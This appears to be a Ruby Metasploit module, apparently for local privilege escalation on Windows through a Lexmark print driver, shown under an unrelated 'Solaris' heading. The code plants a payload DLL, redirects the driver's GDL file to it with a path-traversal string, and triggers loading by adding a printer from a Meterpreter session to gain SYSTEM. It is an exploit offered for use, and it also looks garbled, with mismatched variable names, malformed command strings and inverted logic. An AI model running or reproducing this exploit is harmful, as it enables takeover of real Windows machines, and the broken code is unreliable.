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Solaris (1,607)

```
# select driver to exploit
@drvvr_name = data_source['DRIVERNAME']
if @drvvr_name.empty?
  @drvvr_name = found_drivers[0]
  print_status("No user provided DRIVERNAME. Defaulting to '#{@drvvr_name}'")
else
  return CheckCode::Safe("The user specified driver is not in the driver store") unless
found_drivers.include?(@drvvr_name)

  print_status("The user selected driver is in the driver store")
end

@gdli_file = 'C:\\ProgramData\\' + @drvvr_name + '\\Universal Color Laser.gdl'
CheckCode::Detected("A potentially vulnerable Lexmark print driver is available.")
end

def do_add_printer_vbs
  script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{@drvvr_name}\" -r \"!pt1\"::\"
  print_status("Adding printer #{@printer_name}...")
  cmd_exec(script_cmd)
end

def add_printer
  fail_with(Failure::NotFound, "Printer driver script not found") unless file?(@script_path)
  fail_with(Failure::NotFound, "No driver name set") if @drvvr_name.empty?

  # If the driver has never been installed, then the vulnerable file won't exist. So let's
  # install once if necessary
  if file?(@gdl_file)
    do_add_printer_vbs
    cleanup
  end

  return CheckCode::Safe("No Lexmark GDL file found") unless file?(@gdl_file)

  # dump exploit dll to disk
  dll_data = generate_payload_dll
  temp_path = expand_path("#{TEMP}\\")
  temp_path.concat(Rex::Text.rand_text_alpha(5..9))
  temp_path.concat('.dll')
  vprint_status("Writing dll to #{@temp_path}")
  write_file(temp_path, dll_data)
  register_files_for_cleanup(temp_path)

  # replace a DLL path to one in our control
  traversal_path = '.\\..\\..\\..\\..\\..\\..\\'
  traversal_path.concat(temp_path[2..-1])
  text = read_file(@gdl_file)
  new_contents = text.gsub(/unires.dll/, traversal_path)
  write_file(@gdl_file, new_contents)

  # trigger exploitation
  do_add_printer_vbs

  # reset the path
  text = read_file(@gdl_file)
  new_contents = text.gsub(traversal_path, 'unires.dll')
  write_file(@gdl_file, new_contents)
rescue Rex::Post::Meterpreter::RequestError => e
  fail_with(Failure::Unknown, "#{e.class} #{e.message}")
end

def exploit
  fail_with(Failure::None, 'Already running as SYSTEM') if is_system?

  fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type ==
'meterpreter'

  if sysinfo['Architecture'] != payload.arch.first
    fail_with(Failure::BadConfig, "The payload should use the same architecture as the target driver")
  end

  @printer_name = Rex::Text.rand_text_alpha(5..9)
  @script_path = 'C:\\Windows\\system32\\Printing_Admin_Scripts\\en-US\\pnmngr.vbs'
  add_printer
end

def cleanup
  print_status("Deleting printer #{@printer_name}")
  delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\"::\"
  cmd_exec(delete_cmd)
end

end
```

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